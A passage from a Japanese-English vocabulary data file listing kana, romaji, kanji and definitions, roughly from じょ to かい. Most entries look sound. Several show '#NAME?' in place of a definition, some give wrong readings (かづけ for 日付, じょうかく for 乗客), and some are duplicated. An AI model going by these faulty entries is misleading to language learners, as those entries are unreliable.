professor\"\n\t},\n\n\t{\n\t\t'kana':'じょおう',\n\t\t'romaji':'jyoou',\n\t\t'kanji':'女王',\n\t\t'definition':\"queen\"\n\t},\n\n\t{\n\t\t'kana':'じょせい',\n\t\t'romaji':'jyosei',\n\t\t'kanji':'女性',\n\t\t'definition':\"woman\"\n\t},\n\n\t{\n\t\t'kana':'じょし',\n\t\t'romaji':'jyoshi',\n\t\t'kanji':'助詞',\n\t\t'definition':\"particle;postposition\"\n\t},\n\n\t{\n\t\t'kana':'じょし',\n\t\t'romaji':'jyoshi',\n\t\t'kanji':'女史',\n\t\t'definition':\"Ms.\"\n\t},\n\n\t{\n\t\t'kana':'じょしゅ',\n\t\t'romaji':'jyoshu',\n\t\t'kanji':'助手',\n\t\t'definition':\"helper;helpmeet;assistant;tutor\"\n\t},\n\n\t{\n\t\t'kana':'じょう',\n\t\t'romaji':'jyou',\n\t\t'kanji':'畳',\n\t\t'definition':\"#NAME?\"\n\t},\n\n\t{\n\t\t'kana':'じょう',\n\t\t'romaji':'jyou',\n\t\t'kanji':'状',\n\t\t'definition':\"shape\"\n\t},\n\n\t{\n\t\t'kana':'じょう',\n\t\t'romaji':'jyou',\n\t\t'kanji':'嬢',\n\t\t'definition':\"young woman\"\n\t},\n\n\t{\n\t\t'kana':'じょう',\n\t\t'romaji':'jyou',\n\t\t'kanji':'尉',\n\t\t'definition':\"jailer;old man;rank;company officer\"\n\t},\n\n\t{\n\t\t'kana':'じょう',\n\t\t'romaji':'jyou',\n\t\t'kanji':'畳',\n\t\t'definition':\"#NAME?\"\n\t},\n\n\t{\n\t\t'kana':'じょう',\n\t\t'romaji':'jyou',\n\t\t'kanji':'情',\n\t\t'definition':\"feelings;emotion;passion\"\n\t},\n\n\t{\n\t\t'kana':'じょうだん',\n\t\t'romaji':'jyoudan',\n\t\t'kanji':'冗談',\n\t\t'definition':\"jest;joke\"\n\t},\n\n\t{\n\t\t'kana':'じょうえん',\n\t\t'romaji':'jyouen',\n\t\t'kanji':'上演',\n\t\t'definition':\"performance (e.g. music)\"\n\t},\n\n\t{\n\t\t'kana':'じょうふ',\n\t\t'romaji':'jyoufu',\n\t\t'kanji':'丈夫',\n\t\t'definition':\"1. hero;gentleman;warrior;manly person; 2. good health;robustness;strong;solid;durable\"\n\t},\n\n\t{\n\t\t'kana':'じょうぎ',\n\t\t'romaji':'jyougi',\n\t\t'kanji':'定規',\n\t\t'definition':\"(measuring) ruler\"\n\t},\n\n\t{\n\t\t'kana':'じょうはつ',\n\t\t'romaji':'jyouhatsu',\n\t\t'kanji':'蒸発',\n\t\t'definition':\"evaporation;unexplained disappearance\"\n\t},\n\n\t{\n\t\t'kana':'じょうひん',\n\t\t'romaji':'jyouhin',\n\t\t'kanji':'上品',\n\t\t'definition':\"elegant;refined;polished\"\n\t},\n\n\t{\n\t\t'kana':'じょうほ',\n\t\t'romaji':'jyouho',\n\t\t'kanji':'譲歩',\n\t\t'definition':\"concession;conciliation;compromise\"\n\t},\n\n\t{\n\t\t'kana':'じょうほう',\n\t\t'romaji':'jyouhou',\n\t\t'kanji':'情報',\n\t\t'definition':\"information;(military) intelligence\"\n\t},\n\n\t{\n\t\t'kana':'じょうい',\n\t\t'romaji':'jyoui',\n\t\t'kanji':'上位',\n\t\t'definition':\"superior (rank not class);higher order (e.g. byte);host computer (of connected device)\"\n\t},\n\n\t{\n\t\t'kana':'じょうじゅん',\n\t\t'romaji':'jyoujyun',\n\t\t'kanji':'上旬',\n\t\t'definition':\"first 10 days of month\"\n\t},\n\n\t{\n\t\t'kana':'じょうか',\n\t\t'romaji':'jyouka',\n\t\t'kanji':'城下',\n\t\t'definition':\"land near the castle\"\n\t},\n\n\t{\n\t\t'kana':'じょうかく',\n\t\t'romaji':'jyoukaku',\n\t\t'kanji':'乗客',\n\t\t'definition':\"passenger\"\n\t},\n\n\t{\n\t\t'kana':'じょうけん',\n\t\t'romaji':'jyouken',\n\t\t'kanji':'条件',\n\t\t'definition':\"conditions;terms\"\n\t},\n\n\t{\n\t\t'kana':'じょうき',\n\t\t'romaji':'jyouki',\n\t\t'kanji':'蒸気',\n\t\t'definition':\"steam;vapour\"\n\t},\n\n\t{\n\t\t'kana':'じょうくう',\n\t\t'romaji':'jyoukuu',\n\t\t'kanji':'上空',\n\t\t'definition':\"sky;the skies;high-altitude sky;upper air\"\n\t},\n\n\t{\n\t\t'kana':'じょうきょう',\n\t\t'romaji':'jyoukyou',\n\t\t'kanji':'状況',\n\t\t'definition':\"circumstances;situation\"\n\t},\n\n\t{\n\t\t'kana':'じょうきょう',\n\t\t'romaji':'jyoukyou',\n\t\t'kanji':'上京',\n\t\t'definition':\"proceeding to the capital (Tokyo)\"\n\t},\n\n\t{\n\t\t'kana':'じょうきゅう',\n\t\t'romaji':'jyoukyuu',\n\t\t'kanji':'上級',\n\t\t'definition':\"advanced level;high grade;senior\"\n\t},\n\n\t{\n\t\t'kana':'じょうねつ',\n\t\t'romaji':'jyounetsu',\n\t\t'kanji':'情熱',\n\t\t'definition':\"passion;enthusiasm;zeal\"\n\t},\n\n\t{\n\t\t'kana':'じょうりく',\n\t\t'romaji':'jyouriku',\n\t\t'kanji':'上陸',\n\t\t'definition':\"landing;disembarkation\"\n\t},\n\n\t{\n\t\t'kana':'じょうりゅう',\n\t\t'romaji':'jyouryuu',\n\t\t'kanji':'蒸留',\n\t\t'definition':\"distillation\"\n\t},\n\n\t{\n\t\t'kana':'じょうせい',\n\t\t'romaji':'jyousei',\n\t\t'kanji':'情勢',\n\t\t'definition':\"state of things;condition;situation\"\n\t},\n\n\t{\n\t\t'kana':'じょうしゃ',\n\t\t'romaji':'jyousha',\n\t\t'kanji':'乗車',\n\t\t'definition':\"taking a train;entraining\"\n\t},\n\n\t{\n\t\t'kana':'じょうし',\n\t\t'romaji':'jyoushi',\n\t\t'kanji':'上司',\n\t\t'definition':\"superior authorities;boss\"\n\t},\n\n\t{\n\t\t'kana':'じょうしき',\n\t\t'romaji':'jyoushiki',\n\t\t'kanji':'常識',\n\t\t'definition':\"common sense\"\n\t},\n\n\t{\n\t\t'kana':'じょうしょ',\n\t\t'romaji':'jyousho',\n\t\t'kanji':'情緒',\n\t\t'definition':\"emotion;feeling\"\n\t},\n\n\t{\n\t\t'kana':'じょうしょう',\n\t\t'romaji':'jyoushou',\n\t\t'kanji':'上昇',\n\t\t'definition':\"rising;ascending;climbing\"\n\t},\n\n\t{\n\t\t'kana':'じょうたい',\n\t\t'romaji':'jyoutai',\n\t\t'kanji':'状態',\n\t\t'definition':\"condition;situation;circumstances;state\"\n\t},\n\n\t{\n\t\t'kana':'じょうたつ',\n\t\t'romaji':'jyoutatsu',\n\t\t'kanji':'上達',\n\t\t'definition':\"improvement;advance;progress\"\n\t},\n\n\t{\n\t\t'kana':'じょうとう',\n\t\t'romaji':'jyoutou',\n\t\t'kanji':'上等',\n\t\t'definition':\"superiority;first class;very good\"\n\t},\n\n\t{\n\t\t'kana':'じょうやく',\n\t\t'romaji':'jyouyaku',\n\t\t'kanji':'条約',\n\t\t'definition':\"treaty;pact\"\n\t},\n\n\t{\n\t\t'kana':'じょゆう',\n\t\t'romaji':'jyoyuu',\n\t\t'kanji':'女優',\n\t\t'definition':\"actress\"\n\t},\n\n\t{\n\t\t'kana':'じゅぎょう',\n\t\t'romaji':'jyugyou',\n\t\t'kanji':'授業',\n\t\t'definition':\"lesson;class work\"\n\t},\n\n\t{\n\t\t'kana':'じゅけん',\n\t\t'romaji':'jyuken',\n\t\t'kanji':'受験',\n\t\t'definition':\"taking an examination\"\n\t},\n\n\t{\n\t\t'kana':'じゅく',\n\t\t'romaji':'jyuku',\n\t\t'kanji':'塾',\n\t\t'definition':\"coaching school;lessons\"\n\t},\n\n\t{\n\t\t'kana':'じゅくご',\n\t\t'romaji':'jyukugo',\n\t\t'kanji':'熟語',\n\t\t'definition':\"idiom;idiomatic phrase;kanji compound\"\n\t},\n\n\t{\n\t\t'kana':'じゅもく',\n\t\t'romaji':'jyumoku',\n\t\t'kanji':'樹木',\n\t\t'definition':\"trees and shrubs;arbour\"\n\t},\n\n\t{\n\t\t'kana':'じゅみょう',\n\t\t'romaji':'jyumyou',\n\t\t'kanji':'寿命',\n\t\t'definition':\"life span\"\n\t},\n\n\t{\n\t\t'kana':'じゅん',\n\t\t'romaji':'jyun',\n\t\t'kanji':'順',\n\t\t'definition':\"order;turn\"\n\t},\n\n\t{\n\t\t'kana':'じゅんばん',\n\t\t'romaji':'jyunban',\n\t\t'kanji':'順番',\n\t\t'definition':\"turn (in line);order of things\"\n\t},\n\n\t{\n\t\t'kana':'じゅんちょう',\n\t\t'romaji':'jyunchou',\n\t\t'kanji':'順調',\n\t\t'definition':\"favourable;doing well;O.K.;all right\"\n\t},\n\n\t{\n\t\t'kana':'じゅんじる',\n\t\t'romaji':'jyunjiru',\n\t\t'kanji':'準じる',\n\t\t'definition':\"to follow;to conform;to apply to\"\n\t},\n\n\t{\n\t\t'kana':'じゅんじょ',\n\t\t'romaji':'jyunjyo',\n\t\t'kanji':'順序',\n\t\t'definition':\"order;sequence;procedure\"\n\t},\n\n\t{\n\t\t'kana':'じゅんじょう',\n\t\t'romaji':'jyunjyou',\n\t\t'kanji':'純情',\n\t\t'definition':\"pure heart;naivete;self-sacrificing devotion\"\n\t},\n\n\t{\n\t\t'kana':'じゅんじゅん',\n\t\t'romaji':'jyunjyun',\n\t\t'kanji':'順々',\n\t\t'definition':\"in order;in turn\"\n\t},\n\n\t{\n\t\t'kana':'じゅんかん',\n\t\t'romaji':'jyunkan',\n\t\t'kanji':'循環',\n\t\t'definition':\"circulation;rotation;cycle\"\n\t},\n\n\t{\n\t\t'kana':'じゅんきゅう',\n\t\t'romaji':'jyunkyuu',\n\t\t'kanji':'準急',\n\t\t'definition':\"local express (train slower than an express)\"\n\t},\n\n\t{\n\t\t'kana':'じゅんさ',\n\t\t'romaji':'jyunsa',\n\t\t'kanji':'巡査',\n\t\t'definition':\"police;policeman\"\n\t},\n\n\t{\n\t\t'kana':'じゅんすい',\n\t\t'romaji':'jyunsui',\n\t\t'kanji':'純粋',\n\t\t'definition':\"pure;true;genuine;unmixed\"\n\t},\n\n\t{\n\t\t'kana':'じゅんずる',\n\t\t'romaji':'jyunzuru',\n\t\t'kanji':'準ずる',\n\t\t'definition':\"to apply correspondingly;to correspond to;to be proportionate to;to conform to\"\n\t},\n\n\t{\n\t\t'kana':'じゅりつ',\n\t\t'romaji':'jyuritsu',\n\t\t'kanji':'樹立',\n\t\t'definition':\"establish;create\"\n\t},\n\n\t{\n\t\t'kana':'じゅつご',\n\t\t'romaji':'jyutsugo',\n\t\t'kanji':'述語',\n\t\t'definition':\"predicate\"\n\t},\n\n\t{\n\t\t'kana':'じゅう',\n\t\t'romaji':'jyuu',\n\t\t'kanji':'十',\n\t\t'definition':\"(num) 10;ten\"\n\t},\n\n\t{\n\t\t'kana':'じゅう',\n\t\t'romaji':'jyuu',\n\t\t'kanji':'十',\n\t\t'definition':\"(num) 10;ten\"\n\t},\n\n\t{\n\t\t'kana':'じゅう',\n\t\t'romaji':'jyuu',\n\t\t'kanji':'住',\n\t\t'definition':\"dwelling;living\"\n\t},\n\n\t{\n\t\t'kana':'じゅうだい',\n\t\t'romaji':'jyuudai',\n\t\t'kanji':'重大',\n\t\t'definition':\"important;weighty\"\n\t},\n\n\t{\n\t\t'kana':'じゅうふく',\n\t\t'romaji':'jyuufuku',\n\t\t'kanji':'重複',\n\t\t'definition':\"duplication;repetition;overlapping;redundancy;restoration\"\n\t},\n\n\t{\n\t\t'kana':'じゅうふく',\n\t\t'romaji':'jyuufuku',\n\t\t'kanji':'重複',\n\t\t'definition':\"duplication;repetition;overlapping;redundancy;restoration\"\n\t},\n\n\t{\n\t\t'kana':'じゅうぎょういん',\n\t\t'romaji':'jyuugyouin',\n\t\t'kanji':'従業員',\n\t\t'definition':\"employee;worker\"\n\t},\n\n\t{\n\t\t'kana':'じゅうほう',\n\t\t'romaji':'jyuuhou',\n\t\t'kanji':'重宝',\n\t\t'definition':\"priceless treasure;convenience;usefulness\"\n\t},\n\n\t{\n\t\t'kana':'じゅうじ',\n\t\t'romaji':'jyuuji',\n\t\t'kanji':'従事',\n\t\t'definition':\"engaging;pursuing;following\"\n\t},\n\n\t{\n\t\t'kana':'じゅうじろ',\n\t\t'romaji':'jyuujiro',\n\t\t'kanji':'十字路',\n\t\t'definition':\"crossroads\"\n\t},\n\n\t{\n\t\t'kana':'じゅうじつ',\n\t\t'romaji':'jyuujitsu',\n\t\t'kanji':'充実',\n\t\t'definition':\"fullness;completion;perfection;substantiality;enrichment\"\n\t},\n\n\t{\n\t\t'kana':'じゅうきょ',\n\t\t'romaji':'jyuukyo',\n\t\t'kanji':'住居',\n\t\t'definition':\"dwelling;house;residence;address\"\n\t},\n\n\t{\n\t\t'kana':'じゅうみん',\n\t\t'romaji':'jyuumin',\n\t\t'kanji':'住民',\n\t\t'definition':\"citizens;inhabitants;residents;population\"\n\t},\n\n\t{\n\t\t'kana':'じゅうなん',\n\t\t'romaji':'jyuunan',\n\t\t'kanji':'柔軟',\n\t\t'definition':\"flexible;lithe\"\n\t},\n\n\t{\n\t\t'kana':'じゅうらい',\n\t\t'romaji':'jyuurai',\n\t\t'kanji':'従来',\n\t\t'definition':\"up to now;so far;traditional\"\n\t},\n\n\t{\n\t\t'kana':'じゅうりょく',\n\t\t'romaji':'jyuuryoku',\n\t\t'kanji':'重力',\n\t\t'definition':\"gravity\"\n\t},\n\n\t{\n\t\t'kana':'じゅうりょう',\n\t\t'romaji':'jyuuryou',\n\t\t'kanji':'重量',\n\t\t'definition':\"weight;heavyweight boxer\"\n\t},\n\n\t{\n\t\t'kana':'じゅうし',\n\t\t'romaji':'jyuushi',\n\t\t'kanji':'重視',\n\t\t'definition':\"importance;stress;serious consideration\"\n\t},\n\n\t{\n\t\t'kana':'じゅうしょ',\n\t\t'romaji':'jyuusho',\n\t\t'kanji':'住所',\n\t\t'definition':\"address (e.g. of house);residence;domicile\"\n\t},\n\n\t{\n\t\t'kana':'じゅうたい',\n\t\t'romaji':'jyuutai',\n\t\t'kanji':'渋滞',\n\t\t'definition':\"congestion (e.g. traffic);delay;stagnation\"\n\t},\n\n\t{\n\t\t'kana':'じゅうたい',\n\t\t'romaji':'jyuutai',\n\t\t'kanji':'重体',\n\t\t'definition':\"seriously ill;serious condition;critical state\"\n\t},\n\n\t{\n\t\t'kana':'じゅうたく',\n\t\t'romaji':'jyuutaku',\n\t\t'kanji':'住宅',\n\t\t'definition':\"resident;housing\"\n\t},\n\n\t{\n\t\t'kana':'じゅうたん',\n\t\t'romaji':'jyuutan',\n\t\t'kanji':'絨毯',\n\t\t'definition':\"carpet\"\n\t},\n\n\t{\n\t\t'kana':'じゅうてん',\n\t\t'romaji':'jyuuten',\n\t\t'kanji':'重点',\n\t\t'definition':\"important point;lay stress on;colon;emphasis\"\n\t},\n\n\t{\n\t\t'kana':'じゅうよう',\n\t\t'romaji':'jyuuyou',\n\t\t'kanji':'重要',\n\t\t'definition':\"important;momentous;essential;principal;major\"\n\t},\n\n\t{\n\t\t'kana':'じゅわき',\n\t\t'romaji':'jyuwaki',\n\t\t'kanji':'受話器',\n\t\t'definition':\"(telephone) receiver\"\n\t},\n\n\t{\n\t\t'kana':'じゅよう',\n\t\t'romaji':'jyuyou',\n\t\t'kanji':'需要',\n\t\t'definition':\"demand;request\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'個',\n\t\t'definition':\"article counter\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'科',\n\t\t'definition':\"department;section\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'仮',\n\t\t'definition':\"tentative;provisional\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'課',\n\t\t'definition':\"counter for chapters (of a book)\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'蚊',\n\t\t'definition':\"mosquito\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'可',\n\t\t'definition':\"passable\"\n\t},\n\n\t{\n\t\t'kana':'か',\n\t\t'romaji':'ka',\n\t\t'kanji':'仮',\n\t\t'definition':\"tentative;provisional\"\n\t},\n\n\t{\n\t\t'kana':'カー',\n\t\t'romaji':'ka-',\n\t\t'kanji':'',\n\t\t'definition':\"car\"\n\t},\n\n\t{\n\t\t'kana':'カバー',\n\t\t'romaji':'kaba-',\n\t\t'kanji':'',\n\t\t'definition':\"cover (ex. book)\"\n\t},\n\n\t{\n\t\t'kana':'かばん',\n\t\t'romaji':'kaban',\n\t\t'kanji':'下番',\n\t\t'definition':\"going off duty\"\n\t},\n\n\t{\n\t\t'kana':'かばう',\n\t\t'romaji':'kabau',\n\t\t'kanji':'庇う',\n\t\t'definition':\"to protect someone;to take under one's wing;to plead for;to stick up for;to cover up for someone\"\n\t},\n\n\t{\n\t\t'kana':'かべ',\n\t\t'romaji':'kabe',\n\t\t'kanji':'壁',\n\t\t'definition':\"wall\"\n\t},\n\n\t{\n\t\t'kana':'かび',\n\t\t'romaji':'kabi',\n\t\t'kanji':'華美',\n\t\t'definition':\"pomp;splendor;gaudiness\"\n\t},\n\n\t{\n\t\t'kana':'かびん',\n\t\t'romaji':'kabin',\n\t\t'kanji':'花瓶',\n\t\t'definition':\"(flower) vase\"\n\t},\n\n\t{\n\t\t'kana':'かぶ',\n\t\t'romaji':'kabu',\n\t\t'kanji':'株',\n\t\t'definition':\"share;stock;stump (of tree)\"\n\t},\n\n\t{\n\t\t'kana':'カーブ',\n\t\t'romaji':'ka-bu',\n\t\t'kanji':'',\n\t\t'definition':\"1. curve; 2. curve ball (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'かぶれる',\n\t\t'romaji':'kabureru',\n\t\t'kanji':'気触れる',\n\t\t'definition':\"to react to;to be influenced by;to go overboard for\"\n\t},\n\n\t{\n\t\t'kana':'かぶる',\n\t\t'romaji':'kaburu',\n\t\t'kanji':'被る',\n\t\t'definition':\"to wear;to put on (head);to pour or dash water (on oneself)\"\n\t},\n\n\t{\n\t\t'kana':'かぶせる',\n\t\t'romaji':'kabuseru',\n\t\t'kanji':'被せる',\n\t\t'definition':\"to cover (with something);to plate something (with a metal);to pour or dash a liquid (on something);to charge (a person with a guilt)\"\n\t},\n\n\t{\n\t\t'kana':'かぶしき',\n\t\t'romaji':'kabushiki',\n\t\t'kanji':'株式',\n\t\t'definition':\"stock (company)\"\n\t},\n\n\t{\n\t\t'kana':'かち',\n\t\t'romaji':'kachi',\n\t\t'kanji':'価値',\n\t\t'definition':\"value;worth;merit\"\n\t},\n\n\t{\n\t\t'kana':'かち',\n\t\t'romaji':'kachi',\n\t\t'kanji':'勝ち',\n\t\t'definition':\"win;victory\"\n\t},\n\n\t{\n\t\t'kana':'かちく',\n\t\t'romaji':'kachiku',\n\t\t'kanji':'家畜',\n\t\t'definition':\"domestic animals;livestock;cattle\"\n\t},\n\n\t{\n\t\t'kana':'かだい',\n\t\t'romaji':'kadai',\n\t\t'kanji':'課題',\n\t\t'definition':\"subject;theme;task\"\n\t},\n\n\t{\n\t\t'kana':'かだん',\n\t\t'romaji':'kadan',\n\t\t'kanji':'花壇',\n\t\t'definition':\"flower bed\"\n\t},\n\n\t{\n\t\t'kana':'かど',\n\t\t'romaji':'kado',\n\t\t'kanji':'門',\n\t\t'definition':\"gate\"\n\t},\n\n\t{\n\t\t'kana':'カード',\n\t\t'romaji':'ka-do',\n\t\t'kanji':'',\n\t\t'definition':\"card;curd\"\n\t},\n\n\t{\n\t\t'kana':'かづけ',\n\t\t'romaji':'kaduke',\n\t\t'kanji':'日付',\n\t\t'definition':\"date;dating\"\n\t},\n\n\t{\n\t\t'kana':'かえり',\n\t\t'romaji':'kaeri',\n\t\t'kanji':'帰り',\n\t\t'definition':\"return;coming back\"\n\t},\n\n\t{\n\t\t'kana':'かえりみる',\n\t\t'romaji':'kaerimiru',\n\t\t'kanji':'省みる',\n\t\t'definition':\"to reflect\"\n\t},\n\n\t{\n\t\t'kana':'かえりみる',\n\t\t'romaji':'kaerimiru',\n\t\t'kanji':'顧みる',\n\t\t'definition':\"to look back;to turn around;to review\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'帰る',\n\t\t'definition':\"to go back;to go home;to come home;to return\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'返る',\n\t\t'definition':\"to return;to come back;to go back\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'変える',\n\t\t'definition':\"to change;to alter;to vary;to convert;to revise;to amend\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'換える',\n\t\t'definition':\"to exchange;to interchange;to substitute;to replace\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'替える',\n\t\t'definition':\"to exchange;to interchange;to substitute;to replace\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'代える',\n\t\t'definition':\"to exchange;to interchange;to substitute;to replace\"\n\t},\n\n\t{\n\t\t'kana':'かえる',\n\t\t'romaji':'kaeru',\n\t\t'kanji':'反る',\n\t\t'definition':\"to change;to turn over;to turn upside down\"\n\t},\n\n\t{\n\t\t'kana':'かえす',\n\t\t'romaji':'kaesu',\n\t\t'kanji':'帰す',\n\t\t'definition':\"to send back\"\n\t},\n\n\t{\n\t\t'kana':'かえす',\n\t\t'romaji':'kaesu',\n\t\t'kanji':'返す',\n\t\t'definition':\"to return something\"\n\t},\n\n\t{\n\t\t'kana':'かえって',\n\t\t'romaji':'kaete',\n\t\t'kanji':'却って',\n\t\t'definition':\"on the contrary;rather;all the more;instead\"\n\t},\n\n\t{\n\t\t'kana':'かふん',\n\t\t'romaji':'kafun',\n\t\t'kanji':'花粉',\n\t\t'definition':\"pollen\"\n\t},\n\n\t{\n\t\t'kana':'かがい',\n\t\t'romaji':'kagai',\n\t\t'kanji':'課外',\n\t\t'definition':\"extracurricular\"\n\t},\n\n\t{\n\t\t'kana':'かがく',\n\t\t'romaji':'kagaku',\n\t\t'kanji':'化学',\n\t\t'definition':\"chemistry\"\n\t},\n\n\t{\n\t\t'kana':'かがく',\n\t\t'romaji':'kagaku',\n\t\t'kanji':'科学',\n\t\t'definition':\"science\"\n\t},\n\n\t{\n\t\t'kana':'かがみ',\n\t\t'romaji':'kagami',\n\t\t'kanji':'鏡',\n\t\t'definition':\"mirror\"\n\t},\n\n\t{\n\t\t'kana':'かがやく',\n\t\t'romaji':'kagayaku',\n\t\t'kanji':'輝く',\n\t\t'definition':\"to shine;to glitter;to sparkle\"\n\t},\n\n\t{\n\t\t'kana':'かげ',\n\t\t'romaji':'kage',\n\t\t'kanji':'影',\n\t\t'definition':\"shade;shadow;other side\"\n\t},\n\n\t{\n\t\t'kana':'かげん',\n\t\t'romaji':'kagen',\n\t\t'kanji':'加減',\n\t\t'definition':\"addition and subtraction;allowance for;degree;extent;measure;condition;seasoning;flavor;moderation;adjustment;influence (of the weather);state of health;chance\"\n\t},\n\n\t{\n\t\t'kana':'かげつ',\n\t\t'romaji':'kagetsu',\n\t\t'kanji':'ヶ月',\n\t\t'definition':\"#NAME?\"\n\t},\n\n\t{\n\t\t'kana':'かぎ',\n\t\t'romaji':'kagi',\n\t\t'kanji':'鍵',\n\t\t'definition':\"key\"\n\t},\n\n\t{\n\t\t'kana':'かぎり',\n\t\t'romaji':'kagiri',\n\t\t'kanji':'限り',\n\t\t'definition':\"limit(s);as far as possible;as much as possible;to the best of one's ability\"\n\t},\n\n\t{\n\t\t'kana':'かぎる',\n\t\t'romaji':'kagiru',\n\t\t'kanji':'限る',\n\t\t'definition':\"to restrict;to limit;to confine\"\n\t},\n\n\t{\n\t\t'kana':'かご',\n\t\t'romaji':'kago',\n\t\t'kanji':'籠',\n\t\t'definition':\"basket;cage\"\n\t},\n\n\t{\n\t\t'kana':'かごう',\n\t\t'romaji':'kagou',\n\t\t'kanji':'化合',\n\t\t'definition':\"chemical combination\"\n\t},\n\n\t{\n\t\t'kana':'かぐ',\n\t\t'romaji':'kagu',\n\t\t'kanji':'家具',\n\t\t'definition':\"furniture\"\n\t},\n\n\t{\n\t\t'kana':'かぐ',\n\t\t'romaji':'kagu',\n\t\t'kanji':'嗅ぐ',\n\t\t'definition':\"to sniff;to smell\"\n\t},\n\n\t{\n\t\t'kana':'かはんすう',\n\t\t'romaji':'kahansuu',\n\t\t'kanji':'過半数',\n\t\t'definition':\"majority\"\n\t},\n\n\t{\n\t\t'kana':'かへい',\n\t\t'romaji':'kahei',\n\t\t'kanji':'貨幣',\n\t\t'definition':\"money;currency;coinage\"\n\t},\n\n\t{\n\t\t'kana':'かひん',\n\t\t'romaji':'kahin',\n\t\t'kanji':'下品',\n\t\t'definition':\"inferior article\"\n\t},\n\n\t{\n\t\t'kana':'かい',\n\t\t'romaji':'kai',\n\t\t'kanji':'階',\n\t\t'definition':\"-floor (counter);stories\"\n\t},\n\n\t{\n\t\t'kana':'かい',\n\t\t'romaji':'kai',\n\t\t'kanji':'下位',\n\t\t'definition':\"low rank;subordinate;lower order (e.g. byte)\"\n\t},\n\n\t{\n\t\t'kana':'かい',\n\t\t'romaji':'kai',\n\t\t'kanji':'貝',\n\t\t'definition':\"shell;shellfish\"\n\t},\n\n\t{\n\t\t'kana':'かい',\n\t\t'romaji':'kai',\n\t\t'kanji':'回',\n\t\t'definition':\"counter for occurrences\"\n\t},\n\n\t{\n\t\t'kana':'かいあく',\n\t\t'romaji':'kaiaku',\n\t\t'kanji':'改悪',\n\t\t'definition':\"deterioration;changing for the worse\"\n\t},\n\n\t{\n\t\t'kana':'かいばつ',\n\t\t'romaji':'kaibatsu',\n\t\t'kanji':'海抜',\n\t\t'definition':\"height above sea level\"\n\t},\n\n\t{\n\t\t'kana':'かいぼう',\n\t\t'romaji':'kaibou',\n\t\t'kanji':'解剖',\n\t\t'definition':\"dissection;autopsy\"\n\t},\n\n\t{\n\t\t'kana':'かいだん',\n\t\t'romaji':'kaidan',\n\t\t'kanji':'階段',\n\t\t'definition':\"stairs\"\n\t},\n\n\t{\n\t\t'kana':'かいだん',\n\t\t'romaji':'kaidan',\n\t\t'kanji':'会談',\n\t\t'definition':\"conversation;conference;discussion;interview\"\n\t},\n\n\t{\n\t\t'kana':'かいどう',\n\t\t'romaji':'kaidou',\n\t\t'kanji':'街道',\n\t\t'definition':\"highway\"\n\t},\n\n\t{\n\t\t'kana':'かいふく',\n\t\t'romaji':'kaifuku',\n\t\t'kanji':'回復',\n\t\t'definition':\"recovery (from illness);rehabilitation;restoration\"\n\t},\n\n\t{\n\t\t'kana':'かいが',\n\t\t'romaji':'kaiga',\n\t\t'kanji':'絵画',\n\t\t'definition':\"picture\"\n\t},\n\n\t{\n\t\t'kana':'かいがい',\n\t\t'romaji':'kaigai',\n\t\t'kanji':'海外',\n\t\t'definition':\"foreign;abroad;overseas\"\n\t},\n\n\t{\n\t\t'kana':'かいがん',\n\t\t'romaji':'kaigan',\n\t\t'kanji':'海岸',\n\t\t'definition':\"coast;beach\"\n\t},\n\n\t{\n\t\t'kana':'かいがら',\n\t\t'romaji':'kaigara',\n\t\t'kanji':'貝殻',\n\t\t'definition':\"shell\"\n\t},\n\n\t{\n\t\t'kana':'かいぎ',\n\t\t'romaji':'kaigi',\n\t\t'kanji':'会議',\n\t\t'definition':\"meeting;conference;session;assembly;council;convention;congress\"\n\t},\n\n\t{\n\t\t'kana':'かいご',\n\t\t'romaji':'kaigo',\n\t\t'kanji':'介護',\n\t\t'definition':\"nursing\"\n\t},\n\n\t{\n\t\t'kana':'かいごう',\n\t\t'romaji':'kaigou',\n\t\t'kanji':'会合',\n\t\t'definition':\"meeting;assembly\"\n\t},\n\n\t{\n\t\t'kana':'かいはつ',\n\t\t'romaji':'kaihatsu',\n\t\t'kanji':'開発',\n\t\t'definition':\"development;exploitation\"\n\t},\n\n\t{\n\t\t'kana':'かいほう',\n\t\t'romaji':'kaihou',\n\t\t'kanji':'開放',\n\t\t'definition':\"open;throw open\"\n\t},\n\n\t{\n\t\t'kana':'かいほう',\n\t\t'romaji':'kaihou',\n\t\t'kanji':'解放',\n\t\t'definition':\"release;liberation;emancipation\"\n\t},\n\n\t{\n\t\t'kana':'かいほう',\n\t\t'romaji':'kaihou',\n\t\t'kanji':'介抱',\n\t\t'definition':\"nursing;looking after\"\n\t},\n\n\t{\n\t\t'kana':'かいいん',\n\t\t'romaji':'kaiin',\n\t\t'kanji':'会員',\n\t\t'definition':\"member;the membership\"\n\t},\n\n\t{\n\t\t'kana':'かいじょ',\n\t\t'romaji':'kaijyo',\n\t\t'kanji':'解除',\n\t\t'definition':\"cancellation;rescinding;release;calling off\"\n\t},\n\n\t{\n\t\t'kana':'かいじょう',\n\t\t'romaji':'kaijyou',\n\t\t'kanji':'会場',\n\t\t'definition':\"assembly hall;meeting place;the grounds\"\n\t},\n\n\t{\n\t\t'kana':'かいじゅう',\n\t\t'romaji':'kaijyuu',\n\t\t'kanji':'怪獣',\n\t\t'definition':\"monster\"\n\t},\n\n\t{\n\t\t'kana':'かいかい',\n\t\t'romaji':'kaikai',\n\t\t'kanji':'開会',\n\t\t'definition':\"opening of a 